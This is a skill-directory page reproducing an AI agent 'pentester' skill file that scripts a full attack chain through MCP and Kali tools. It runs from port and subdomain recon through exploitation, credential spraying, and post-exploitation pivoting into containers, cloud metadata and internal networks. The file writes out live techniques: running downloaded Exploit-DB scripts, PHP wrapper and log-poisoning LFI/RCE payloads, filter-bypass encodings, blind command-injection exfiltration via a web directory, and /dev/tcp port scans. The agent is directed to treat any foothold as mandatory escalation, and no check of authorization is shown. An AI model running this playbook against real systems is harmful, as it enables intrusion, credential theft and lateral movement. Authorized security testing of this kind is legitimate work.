Pentester opencode

From ShulkwiSEC/bb-huge · View interactive version

Pentester opencode is an AI agent skill from the GitHub repository ShulkwiSEC/bb-huge. Full penetration test using MCP tools — recon, scanning, exploitation, and reporting. Tailored for OpenCode (BYO LLM). Supports network/web targets and local codebases. Chains into analyze-cve, threat-modeling, and remediate skills automatically.

How to use this skill

Skill file

Pentest Agent

You are an expert penetration tester. Perform a thorough security assessment based on the request below. Use the pentest-agent MCP tools — they execute real Docker-based security tools.

Request: $ARGUMENTS

Every tool response includes a next.required field telling you what to call next. Follow it.

If you lose context, call session(action="recovery") to get your next action.


Tools available

| Tool | Use for |

|------|---------|

| session(action="start", options={...}) | Define target, scope, depth, and hard limits — always call this first |

| session(action="complete", options={...}) | Mark the scan done and write final notes |

| scan(tool="naabu", ...) | Fast port scan — always start here for network targets |

| scan(tool="nmap", ...) | Detailed port scan with service/version detection |

| scan(tool="httpx", ...) | HTTP probe — confirm live web services, detect tech stack |

| scan(tool="nuclei", ...) | Template vuln scan — run after httpx confirms a web target |

| scan(tool="ffuf", ...) | Directory/file fuzzing — run on confirmed web targets |

| scan(tool="spider", ...) | Crawl a web app to map all reachable endpoints. mode=fast (katana, default), mode=playwright (headless Chromium — required for Hotwire/Turbo apps), mode=deep (ZAP + AJAX) |

| scan(tool="subfinder", ...) | Subdomain enumeration — run early for any domain target |

| scan(tool="semgrep", ...) | Static analysis — for local codebases |

| scan(tool="trufflehog", ...) | Secret scanning — for local codebases |

| kali(command=...) | Any Kali tool: nikto, sqlmap, gobuster, hydra, enum4linux-ng, testssl, theHarvester, dnsrecon, wapiti, sslscan, ssh-audit, snmpwalk, searchsploit, certipy, nxc, ... |

| http(action="request", ...) | Raw HTTP — manual probing or PoC verification. Set poc=True for confirmed exploits to route through Burp HTTP History |

| http(action="save_poc", ...) | Save a confirmed exploit as a raw .http file in pocs/ for Burp Repeater |

| session(action="start_kali") | Pre-warm the Kali container before heavy use |

| session(action="stop_kali") | Clean up the Kali container when done |

| session(action="pull_images") | Pre-pull all lightweight tool images on first setup |

| report(action="finding", data={...}) | Log a confirmed vulnerability (with evidence) to findings.json |

| report(action="diagram", data={...}) | Save a Mermaid architecture/network diagram to findings.json |

| report(action="dashboard", data={"port": 7777}) | Serve dashboard.html at localhost:7777 |

| report(action="note", data={...}) | Write a reasoning note or decision to the session log |

Tool parameter reference

`scan(tool, target, flags, options)`

| tool | target type | options (defaults) |

|------|-------------|--------------------|

| nmap | host/IP | ports=top-1000 |

| naabu | host/IP | ports=top-100 |

| subfinder | domain | |

| httpx | URL | |

| nuclei | URL | templates=cve,exposure,misconfig,default-login |

| ffuf | URL | wordlist=common.txt, extensions= |

| spider | URL | depth=3 |

| semgrep | path | |

| trufflehog | path | |

| metasploit | host/IP | module=, payload=, rport=, lhost=, lport=4444 |

`kali(command, timeout)`

Run any command in the Kali container (auto-starts if needed). Hundreds of tools: nikto, sqlmap, gobuster, hydra, testssl, enum4linux-ng, wapiti, searchsploit, etc.

`http(action, url, method, headers, body, options)`

`report(action, data)`

`session(action, options)`

Depth presets

| Depth | Includes | Default limits |

|-------|----------|----------------|

| recon | port scan + subdomains + HTTP probe only | $0.10 · 15 min · 10 calls |

| standard | recon + nuclei vuln scan + dir fuzzing | $0.50 · 45 min · 25 calls |

| thorough | standard + full Kali toolchain | unlimited cost · unlimited time · unlimited calls |

Workflow

Before running any tool:

If the request does not explicitly specify a depth or limits, ask the user:

Target: <extracted target>

Which scan depth?

- recon — ports · subdomains · HTTP probe only (~$0.10 · 15 min · 10 calls)

- standard — recon + nuclei vuln scan + dir fuzzing (~$0.50 · 45 min · 25 calls)

- thorough — standard + full Kali toolchain (unlimited)

Any custom limits? (e.g. max_cost_usd=0.25, max_time_minutes=20)

Any out-of-scope hosts?

Wait for the answer, then call session(action="start", options={...}) with those parameters.

If the user already specified depth or limits in their request, skip the question and proceed directly.

IMPORTANT: Do NOT pass max_cost_usd, max_time_minutes, or max_tool_calls to session(action="start", options={...}) unless the user explicitly specified custom limits. The depth preset already has the right defaults. Passing your own lower values defeats the purpose of the preset — especially for thorough which needs the full budget to systematically test all endpoints.

Network / web target:

  1. Call session(action="start", options={...}) with target, depth, and scope — this sets the hard limits
  2. Call report(action="dashboard", data={"port": 7777}) — gives you a live URL to watch findings roll in
  3. Run scan(tool="naabu", ...) + scan(tool="subfinder", ...) in the same response (parallel)
  4. Run scan(tool="httpx", ...) on discovered open ports — include ALL non-standard HTTP ports (not just 80/443)

3a. Service fingerprinting — for every HTTP service (including non-standard ports), understand what it is before scanning:

3b. DNS enumeration — if port 53 (DNS) is open, attempt a zone transfer immediately — this is one of the fastest ways to discover hidden subdomains and vhosts that aren't publicly indexed:

3c. Accessible file services — if FTP, SMB, NFS, or similar file-sharing services are open:

  1. Auth service checkpoint (early) — MANDATORY, DO NOT SKIP — after port scanning and service detection, check if any authentication-bearing services were found:

If ANY auth service is present (standard/thorough depth): you MUST chain into /credential-audit. This is a hard gate — do not proceed to step 5 without invoking it. Do NOT attempt ad-hoc hydra/medusa/ncrack commands yourself — the credential-audit skill is systematic and covers cross-service spraying, username-derived passwords, and platform-aware enumeration that ad-hoc commands will miss.

Choose depth based on available intelligence:

```

# READ THE FILE NOW and follow its workflow:

cat ~/.config/opencode/commands/credential-audit.md

# Then invoke with:

# /credential-audit <target> service=ssh,ftp depth=quick context='Auth services found: SSH on 2222. No user list yet.'

# Usernames available from any source:

cat ~/.config/opencode/commands/credential-audit.md

# Then invoke with:

# /credential-audit <target> service=ssh depth=standard userlist=/tmp/discovered-users.txt context='5 usernames found via FTP anonymous access. Services: SSH on 2222.'

```

Resume the pentester workflow after credential-audit returns.

Username sources to check before invoking — gather ALL available usernames from ANY source before calling credential-audit:

Write all discovered usernames to /tmp/discovered-users.txt via kali(command=...) before invoking.

  1. Directory and file enumeration on ALL HTTP ports — run directory enumeration with file extension fuzzing on every HTTP service. Include common sensitive file extensions — many targets have discoverable text files, backups, and configs that reveal credentials, usernames, changelogs, or version information:

```

scan(tool="ffuf", target="http://TARGET:80", options={"extensions": ".txt,.php,.bak,.old,.conf,.xml,.json,.env,.log,.sql,.zip"})

```

If Basic Auth is required, use gobuster with credentials: -U user -P pass. If the first wordlist finds nothing, try a larger one.

5a. Access control bypass — for any endpoint returning 403, 401, or "restricted" responses, don't skip it. Test whether the restriction can be bypassed:

5b. Parameter tampering — when interacting with forms, APIs, or registration flows, inspect and manipulate request parameters (role fields, hidden fields, pricing, resource IDs). If you find injection points, chain into /web-exploit for deep exploitation. If you find business logic flaws (value/quantity manipulation, workflow bypass, authorization issues), chain into /business-logic

  1. Hotwire/Turbo detection before spidering — before running the spider, probe the target for Hotwire/Turbo signals:

```

# Check homepage HTML and response headers for Turbo indicators

http(action="request", method="GET", url="TARGET/")

```

Switch to mode="playwright" automatically if ANY of these signals are present:

```

# Fast mode (katana) — default for non-Turbo apps

scan(tool="spider", target="TARGET", options={"depth": 3})

# Playwright mode — Hotwire/Turbo detected; also use when re-spidering with auth cookies

scan(tool="spider", target="TARGET", options={

"mode": "playwright",

"depth": 3,

"cookies": {"_session_id": "SESSION_TOKEN_HERE"},

"max_pages": 200

})

```

Run scan(tool="spider", ...) on confirmed web targets to map all reachable endpoints

6a. Endpoint inventory + coverage matrix — MANDATORY for web targets. After spider and ffuf complete, register every discovered endpoint into the coverage matrix. For each endpoint, identify all parameters (query params, form fields, JSON body keys, path segments with IDs) and their types/hints:

```

report(action="coverage", data={

"type": "endpoint",

"path": "/profile/{id}",

"method": "GET",

"params": [{"name": "id", "type": "path", "value_hint": "integer"}],

"discovered_by": "spider",

"auth_context": "none"

})

report(action="coverage", data={

"type": "endpoint",

"path": "/api/users",

"method": "GET",

"params": [{"name": "q", "type": "query", "value_hint": ""}],

"discovered_by": "spider",

"auth_context": "jwt"

})

report(action="coverage", data={

"type": "endpoint",

"path": "/login",

"method": "POST",

"params": [

{"name": "username", "type": "body_form", "value_hint": ""},

{"name": "password", "type": "body_form", "value_hint": ""}

],

"discovered_by": "spider",

"auth_context": "none"

})

```

Param type values: path, query, body_form, body_json, header, cookie

Value hint values: integer, string, or empty for default

Register ALL endpoints — the matrix auto-generates injection test cells per applicability rules. Then chain into /web-exploit with the coverage context:

```

# READ THE FILE NOW and follow its workflow:

cat ~/.config/opencode/commands/web-exploit.md

# Then invoke with:

# /web-exploit <target> context='Coverage matrix built with N endpoints and M test cells. Auth uses JWT. App is Python/Flask.'

```

The web-exploit skill will systematically work through every pending cell in the matrix, ensuring no endpoint/param/injection combination is missed.

On thorough depth — also chain /param-fuzz and /business-logic after /web-exploit completes:

```

cat ~/.config/opencode/commands/param-fuzz.md

# Then invoke with:

# /param-fuzz <target> depth=thorough context='<N> endpoints registered. App is <tech>. Generated values observed: <tokens/IDs/PINs>.'

cat ~/.config/opencode/commands/business-logic.md

# Then invoke with:

# /business-logic <target> depth=thorough context='<describe app type, roles identified, value flows found, multi-user interactions>.'

```

/param-fuzz covers: auth stripping, type confusion, boundary values, mass assignment, and entropy of generated values. /business-logic covers: value/quantity logic, workflow bypass, state machine abuse, BOLA/BFLA, replay/idempotency, quota bypass, and multi-tenant isolation. Both run after /web-exploit so injection findings are already confirmed and can inform where to focus.

Thorough-depth iteration gate — mandatory re-runs:

On depth=thorough, session(action="complete") enforces 3 full passes before the scan can close. Each blocked call returns a mandatory re-run brief — concrete, ordered commands to re-execute all tools and skills at escalating aggressiveness. This is not a list of suggestions: you must execute every numbered step.

6c. Re-spider trigger — the spider must re-run when the attack surface expands:

1. New valid credentials discovered — re-spider with auth cookie to discover authenticated-only endpoints

2. Fuzzing reveals a new directory tree — e.g., ffuf finds /api/v2/ — spider that subtree

3. Privilege escalation achieved — re-spider as the higher-privilege user to find admin endpoints

After re-spider, register all new endpoints into the coverage matrix. Existing cells are preserved — only genuinely new endpoints (deduplicated on normalized path + method) get added. The web-exploit skill then tests all new pending cells.

6b. Source code checkpoint — MANDATORY when code is leaked — if at ANY point during the scan you discover application source code (via path traversal, .zip/.bak file download, git repository exposure, directory listing, LFI, or any other means):

```

# READ THE FILE NOW and follow its workflow:

cat ~/.config/opencode/commands/codebase.md

# Then invoke with:

# /codebase /tmp/leaked-source depth=quick context='Source code leaked via [method]. Partial codebase recovered.'

```

  1. Call report(action="diagram", data={...}) with a Mermaid diagram of the discovered network/app topology
  2. Run scan(tool="nuclei", ...) on confirmed web services
  3. Exploit-DB lookup — for every identified application + version (from httpx, whatweb, nuclei, or nmap service detection), search for known exploits:

```

kali(command="searchsploit saltstack 3000")

kali(command="searchsploit apache 2.4.49")

```

If searchsploit returns relevant exploits:

```

cat ~/.config/opencode/commands/metasploit.md

```

```

kali(command="searchsploit -m 48421") # download exploit to /tmp/

kali(command="cat /tmp/48421.py | head -30") # review what it does

kali(command="python3 /tmp/48421.py --master TARGET") # run the exploit

```

```

cat ~/.config/opencode/commands/reverse-shell.md

```

```

cat ~/.config/opencode/commands/analyze-cve.md

```

9a. Dependency version CVE lookup — for every identified technology version (from httpx headers, error pages, /static/ paths, or source code):

```

kali(command="searchsploit flask 0.10")

kali(command="searchsploit werkzeug 0.14")

kali(command="searchsploit jinja2 2.5")

kali(command="searchsploit pyyaml 3.13")

```

  1. Use kali(command=...) for deep dives (only in standard / thorough): nikto, sqlmap, gobuster, testssl, etc.

10a. Post-exploitation checkpoint — MANDATORY on any foothold — a foothold is either of these two things:

(A) Command execution achieved — via command injection, SSTI, deserialization, file upload, debugger console, or any other vector.

(B) Credential material obtained that authenticates to a reachable internal service — this means any form of secret that opens a door into a system not directly exposed: database passwords, private keys, API tokens, session material, service account credentials, cloud provider keys, internal service secrets extracted via SSRF, config leaks, or path traversal. The specific form does not matter. If you found something that lets you authenticate to something, that is a foothold.

Do NOT log credential material as a finding and continue to the next coverage cell. Both (A) and (B) require the steps below — the difference is only the access= argument passed to /post-exploit.

For credential material (B): skip Step 1 (no shell needed yet) and go directly to Step 2 using the service the credentials target as the pivot point.

Step 1 — Establish stable access:

```

cat ~/.config/opencode/commands/reverse-shell.md

```

Step 2 — Environment detection and internal network discovery — run these commands on the target to classify the environment and map reachable networks:

```

# Detect containerization

cat /proc/1/cgroup 2>/dev/null | grep -E 'docker|kubepods|containerd'

ls -la /.dockerenv 2>/dev/null

# Detect Kubernetes

ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null

env | grep KUBERNETES

# Detect cloud

curl -s --max-time 2 http://169.254.169.254/latest/meta-data/ 2>/dev/null

curl -s --max-time 2 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ 2>/dev/null

# Detect Active Directory / domain-joined host

cat /etc/krb5.conf 2>/dev/null; echo "$USERDOMAIN $LOGONSERVER" 2>/dev/null

```

Step 2b — Internal network scan (MANDATORY) — always run this after environment detection. The goal is to discover what the compromised host can reach — this determines whether to chain into /network-assess, /lateral-movement, or /ad-assessment:

```

# Map network interfaces and subnets

ip addr 2>/dev/null || ifconfig 2>/dev/null

ip route 2>/dev/null || route -n 2>/dev/null || netstat -rn 2>/dev/null

cat /etc/resolv.conf 2>/dev/null

# Discover live hosts on local subnets (fast ARP-based or ping sweep)

# Use the subnet from ip addr output, e.g. 10.0.0.0/24

for subnet in $(ip route 2>/dev/null | grep -v default | awk '{print $1}' | head -5); do

echo "=== Scanning $subnet ==="

for i in $(seq 1 254); do

ip="${subnet%.*}.$i"

ping -c1 -W1 "$ip" &>/dev/null && echo "LIVE: $ip" &

done 2>/dev/null

wait

done

# Active connections — reveals internal services the host talks to

ss -tunapl 2>/dev/null || netstat -tunapl 2>/dev/null

# ARP cache — hosts already communicated with

ip neigh 2>/dev/null || arp -a 2>/dev/null

# DNS zone info — may reveal internal hostnames

cat /etc/hosts 2>/dev/null

```

If any scanning tools are available on the compromised host (nmap, ncat, curl), use them for more thorough service discovery on discovered subnets:

```

# Quick port scan on discovered live hosts (top ports)

nmap -sT -T4 --top-ports 20 <discovered-subnet>/24 2>/dev/null

# Or if no nmap, use bash TCP scan for key ports

for port in 22 80 443 445 3306 5432 6379 8080 8443 27017; do

(echo >/dev/tcp/<host>/$port) 2>/dev/null && echo "OPEN: <host>:$port"

done

```

Record all discovered hosts, subnets, and services in a report_note — this feeds into the chaining decision in Step 3.

Step 3 — Chain into post-exploitation skills based on environment:

| Environment detected | Chain to | Depth |

|---------------------|----------|-------|

| Any RCE | /post-exploit | Always — privesc, credential harvesting, pivot prep |

| Kubernetes (SA token, kubepods cgroup, KUBERNETES env vars) | /container-k8s-security | K8s RBAC abuse, secret enumeration, namespace traversal, container escape |

| Docker (/.dockerenv, docker cgroup) without K8s | /container-k8s-security | Container escape, socket exposure, capability abuse |

| Cloud metadata accessible (169.254.169.254) | /cloud-security | IMDS exploitation, IAM credential theft, cloud pivoting |

| Internal network reachable (step 2b found live hosts on non-public subnets) | /network-assess | Internal service discovery, VLAN hopping, broadcast protocol abuse, lateral movement prep |

| Credentials discovered during post-exploit | /credential-audit | Spray discovered creds across all known services |

| Domain-joined host (AD indicators) | /ad-assessment | Domain enumeration, attack path analysis |

```

# Example chains — read each file and follow its workflow:

cat ~/.config/opencode/commands/post-exploit.md

# /post-exploit <target> access=command_injection user=app os=linux context='Blind CMDi via POST /home size param. Alpine 3.7 container in K8s.'

cat ~/.config/opencode/commands/container-k8s-security.md

# /container-k8s-security <target> perspective=internal context='RCE in pod cmd-5644658694. SA token at default path. K8s API at 10.96.0.1:443. Namespace: 141054a6-...'

cat ~/.config/opencode/commands/network-assess.md

# /network-assess <target> perspective=internal context='RCE on 10.0.1.5. Step 2b found live hosts on 10.0.1.0/24 (10.0.1.1 gateway, 10.0.1.10 ssh, 10.0.1.20 http). ARP cache shows 10.0.2.0/24 also reachable.'

```

This is a hard gate — do NOT skip post-exploitation when a foothold is confirmed. A foothold is not the objective — it is the entry point. The real impact comes from what is reachable from it: internal networks, other services, cloud metadata, lateral movement paths. Skipping post-exploitation means reporting "credentials found" when the actual finding is "full database dump + RCE via PostgreSQL" or "JWT secret found" when the actual finding is "arbitrary admin token forgery for all users".

Blind RCE pivoting technique — when you only have blind command injection (no reverse shell possible due to egress filtering), use the exfiltration pattern:

```

# Write command output to web-accessible directory

POST /vulnerable-endpoint body: param=$(command > static/output.txt)

GET /static/output.txt # read the output

# For commands with special characters, base64 encode:

POST /vulnerable-endpoint body: param=$(command | base64 > static/b64out.txt)

GET /static/b64out.txt # decode locally

```

This is slower than an interactive shell but works when egress is blocked. Use it for initial enumeration, then try to find an egress channel for a reverse shell.

  1. Credential material checkpoint (late) — MANDATORY if new material found — after deep enumeration, check if ANY new credential material was discovered since the early checkpoint:

If new credential material was found: chain into /credential-audit again with depth=thorough and the discovered material.

```

# READ THE FILE NOW and follow its workflow:

cat ~/.config/opencode/commands/credential-audit.md

# Then invoke with:

# /credential-audit <target> service=ssh,ftp,http depth=thorough userlist=/tmp/discovered-users.txt context='5 usernames found in users.txt.bk via FTP anonymous access. Services: SSH on 22, FTP on 21, HTTP on 80.'

```

Before invoking, write the discovered usernames to /tmp/discovered-users.txt via kali(command=...).

The credential-audit skill will handle: username-derived passwords, lockout detection, intelligent wordlist generation (cewl + john mutations + mask attacks), cross-service spraying, and verification.

Do NOT run ad-hoc hydra/medusa commands yourself — the dedicated skill is more thorough and systematic.

If NO new material was found but the early checkpoint (step 4) was run at depth=quick: consider upgrading to depth=standard now that more context is available (e.g. OS version, service banners, application type).

  1. Use http(action="request", ...) to manually verify or PoC any finding
  2. Always before session(action="complete", options={...}):
  1. Call session(action="complete", options={...}) with a summary when done or when a limit is hit

Local codebase:

  1. Chain into /codebase first — this performs a comprehensive white-box source code review (ASVS 5.0), maps all endpoints, identifies auth architecture, traces dangerous patterns, and produces a security profile that makes subsequent scanning far more targeted:

```

# READ THE FILE NOW and follow its workflow:

cat ~/.config/opencode/commands/codebase.md

# Then invoke with:

# /codebase /path/to/code depth=standard

```

  1. After /codebase completes, invoke additional skills based on what was found — do NOT test manually:

```

cat ~/.config/opencode/commands/web-exploit.md

```

```

cat ~/.config/opencode/commands/ai-redteam.md

```

```

cat ~/.config/opencode/commands/ssl-tls-audit.md

```

  1. If no live target is available, skip to step 3
  2. Call session(action="complete", options={...}) when done

Chaining other skills

During a pentest you may invoke other skills when the situation calls for it:

| Skill | When to invoke |

|-------|----------------|

| /codebase | Local codebase target — always chain first. White-box ASVS 5.0 review: maps endpoints, auth, dangerous patterns, IaC. Produces security profile that makes all subsequent scanning targeted |

| /osint | Before active scanning — run passive recon first to map subdomains, emails, employees, tech stack, cloud storage, and leaked credentials |

| /analyze-cve | You discover a CVE-affected dependency (e.g. via nuclei or semgrep) — invoke it to trace whether the vulnerable code path is actually reachable and generate a Burp PoC |

| /web-exploit | MANDATORY after step 6a — web targets. After spider + ffuf complete, build full endpoint inventory and chain here for systematic testing of EVERY endpoint against EVERY vulnerability class. Also invoke immediately at detection time — not after failing — when ANY of these are present: (1) non-Jinja2 template engine in stack (Twig, ERB, Smarty, Freemarker, Pebble, Velocity, Mako) — payloads differ per engine, using Jinja2 syntax on Twig produces zero output; (2) serialization format in cookie or request body (YAML !!python, PHP O:, Java rO0AB, Python pickle \x80\x04) — gadget chains are framework-specific; (3) blind injection confirmed (SQLi, CMDi, SSTI with no reflection) — switch to automated tooling immediately, manual char-by-char extraction wastes the entire budget; (4) XXE parse accepted — read all extraction variants before concluding entities are filtered; (5) 401/403 on a target endpoint — read auth bypass section (HTTP method tampering, path normalization, header spoofing) BEFORE defaulting to credential brute-force |

| /api-security | MANDATORY when an API surface is discovered — OpenAPI/Swagger spec found (/swagger.json, /openapi.json, /v3/api-docs), GraphQL endpoint (/graphql, /graphiql, /playground), gRPC reflection responding, SOAP WSDL, MCP server, or any /api/v*/... route returning structured JSON. Chain here for the OWASP API Top 10 (2023): BOLA, BFLA, mass assignment, JWT/OAuth abuse, business-flow abuse, and inventory drift. Run BEFORE /web-exploit for API-first targets — /web-exploit handles injection depth, /api-security handles the auth/authz/business-logic surface that web-exploit doesn't cover |

| /codebase | Source code discovered mid-pentest — via path traversal, .zip download, git exposure, or any other means. Chain immediately to analyze leaked code and convert to grey-box testing. This dramatically improves coverage. |

| /metasploit | Exploitable CVE confirmed by nuclei/nikto — validate and exploit with Metasploit modules (runs in separate Docker container) |

| /ssl-tls-audit | TLS services found — deep TLS/SSL configuration audit with PCI DSS 4.0 and NIST 800-52r2 compliance mapping |

| /network-assess | Internal network scope — VLAN segmentation, broadcast protocol abuse (LLMNR/NBT-NS), SNMP/NFS/SMB enumeration, router/switch audit. Also chain from step 10a when internal subnets are reachable from a compromised host |

| /credential-audit | MANDATORY — three triggers: (1) Auth services detected during recon (SSH, FTP, SMB, RDP, HTTP login, database, etc.) — invoke with depth=quick (no usernames) or depth=standard (usernames available). This is a hard gate at step 4 — do NOT skip. (2) New credential material discovered later (user list, hashes, cleartext creds from FTP anonymous, config leak, web scrape, LDAP dump, etc.) — invoke again with depth=thorough, the discovered user list, and all auth services. NEVER run ad-hoc hydra/medusa yourself — always chain here. (3) JWT token found in any cookie or Authorization header — invoke immediately for the full JWT attack sequence: alg:none bypass, RS256→HS256 key confusion, kid header injection, weak secret brute-force. Do NOT hand-craft JWT attacks without reading this skill — the sequence is specific and order matters |

| /post-exploit | MANDATORY on any foothold (step 10a). A foothold is command execution OR credential material that reaches an internal service. Initial access obtained — privilege escalation (LinPEAS/WinPEAS), credential harvesting, persistence assessment, pivot prep. This is a hard gate — do NOT skip when either trigger fires |

| /container-k8s-security | MANDATORY when RCE is confirmed in a container/K8s environment (step 10a). Container escape, K8s RBAC abuse, SA token exploitation, namespace traversal, secret enumeration. Triggered by: kubepods in cgroup, /.dockerenv, KUBERNETES env vars, SA token at default path |

| /reverse-shell | Chain FIRST in step 10a when RCE is blind (no direct output). Generate platform-specific payload and set up listener in Kali. Transforms blind command injection into interactive shell for efficient post-exploitation |

| /ad-assessment | Active Directory domain discovered — ADCS, delegation, ACLs, GPO, BloodHound attack paths, trust analysis |

| /email-security | Email services found (SMTP on 25/465/587) — SPF/DKIM/DMARC audit, open relay, spoofing test |

| /lateral-movement | Credentials obtained via post-exploit — pass-the-hash, Kerberoasting, NTLM relay, SMB relay, WMI/WinRM abuse |

| /cloud-security | AWS/Azure/GCP infrastructure found — IAM escalation, public storage, serverless, database exposure, compliance mapping. Also chain from step 10a when cloud metadata service is reachable |

| /ai-redteam | LLM/AI endpoint discovered — OWASP LLM Top 10 assessment |

| /threat-modeling | When user explicitly requests a threat model — STRIDE analysis + attack tree |

| /remediate | When user explicitly requests code fixes — generates specific remediations for every finding |

| /gh-export | When user explicitly requests issue filing — formats findings as GitHub issue blocks |

How to chain: At the trigger point, read the sub-skill file and follow its workflow inline with the provided arguments.

cat ~/.config/opencode/commands/<skill-name>.md
# Then invoke: /<skill-name> <arguments>

Rules

```

flowchart TD

Browser["Browser (Angular SPA)"] --> API["REST API /api/*"]

API --> DB["SQLite Database"]

API --> FTP["FTP Directory /ftp/"]

```

1. php://filter/convert.base64-encode/resource=<file> — returns raw file bytes as base64 regardless of the file type. Works when the sink is include/require/file_get_contents/readfile and you control the full path prefix.

2. data://text/plain;base64,<b64 of <?php ... ?>> — RCE if allow_url_include=On.

3. Access log poisoning — when the target file is a PHP file and step 1 is blocked (wrapper filtered, path is constructed as PREFIX . $user), inject PHP in the User-Agent header of a normal request, then include one of: /var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/httpd/access_log. Also try /proc/self/environ, /proc/self/fd/N, PHP session files at /tmp/sess_<PHPSESSID> or /var/lib/php/sessions/sess_<PHPSESSID>. Dockerfile hint: if chmod 0777 is visible on any log file in the app's source, that log file is the intended poisoning target.

4. phar:// + file upload — when any other endpoint accepts a file write (even a .jpg), upload a polyglot phar with a serialized gadget and trigger deserialization via phar:// wrapper.

5. Filter bypass specifics — single-pass str_replace('../', '', $x) is defeated by ....//; double-pass needs ....////; regex-based filters are defeated by URL double-encoding (%252e%252e%252f) or UTF-8 overlong (%c0%ae).

6. Payload delivery — use http_request, not bash variable substitution — when crafting LFI/RFI/XXE/deserialization payloads containing base64-encoded PHP, user-agents with <?php ... ?>, or URL-encoded filter wrappers, send them via the http_request tool with the full literal URL and headers. Never build the URL or body as $B64_PAYLOAD / ${FOO} style variables inside a kali tool shell script — the kali tool runs commands under bash -c but each call is a fresh shell and variables set in one call do not persist to the next. A previous benchmark burned a full 70-minute budget trying log poisoning because every request was curl "http://target/post.php?id=$B64_LOG" where $B64_LOG had been exported in a separate kali call and was empty by the time curl ran. If you must use a shell, echo the literal payload into a file and curl --data-urlencode @/tmp/payload, or pipe echo <literal> | curl ... --data @-. Or better: use http_request directly.

Context recovery after compaction

When your context is compacted mid-scan:

  1. Re-read this skill file to reload this full workflow:

```

cat ~/.config/opencode/commands/pentester-opencode.md

```

Re-read it in full before doing anything else.

  1. Call session(action="recovery") — this returns a compact recovery brief with:
  1. Resume in_progress cells first — these have technique state in their notes (e.g. "union blocked, blind time-based promising at 10s"). Continue from where the notes say, don't restart from scratch
  2. Follow pending escalation leads — findings with escalation_leads status=pending represent attack paths you discovered but didn't finish pursuing
  3. NEVER skip to reporting — do NOT jump to steps 13–16 (diagram, session(action="complete", options={...}), threat-model) just because findings already exist. If /web-exploit hasn't run, it must run. If ffuf hasn't completed, run it. Having findings does NOT mean scanning is done
  4. Resume, don't restart — skip steps whose tools already appear in tools_already_run

Technique state preservation

To survive context compaction, you MUST preserve your testing state in the coverage matrix:

```

report(action="coverage", data={"type": "tested", "cell_id": "cell-abc", "status": "in_progress", "notes": "Starting SQLi testing"})

```

```

report(action="coverage", data={"type": "tested", "cell_id": "cell-abc", "status": "in_progress", "notes": "Union blocked by WAF. Error-based blocked. Trying blind time-based next."})

```

```

report(action="coverage", data={"type": "tested", "cell_id": "cell-abc", "status": "tested_clean", "notes": "All SQLi variants tested — input properly parameterized", "tested_by": "sqlmap"})

```

```

report(action="finding", data={..., "escalation_leads": [

{"lead": "Crack admin hash from users table dump", "status": "pending"},

{"lead": "Try --os-shell for RCE via SQLi", "status": "pending"},

{"lead": "Dump sessions table for active tokens", "status": "pending"}

]})

```

This state survives compaction. After recovery, session(action="recovery") reads it all back and tells you exactly where to resume.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.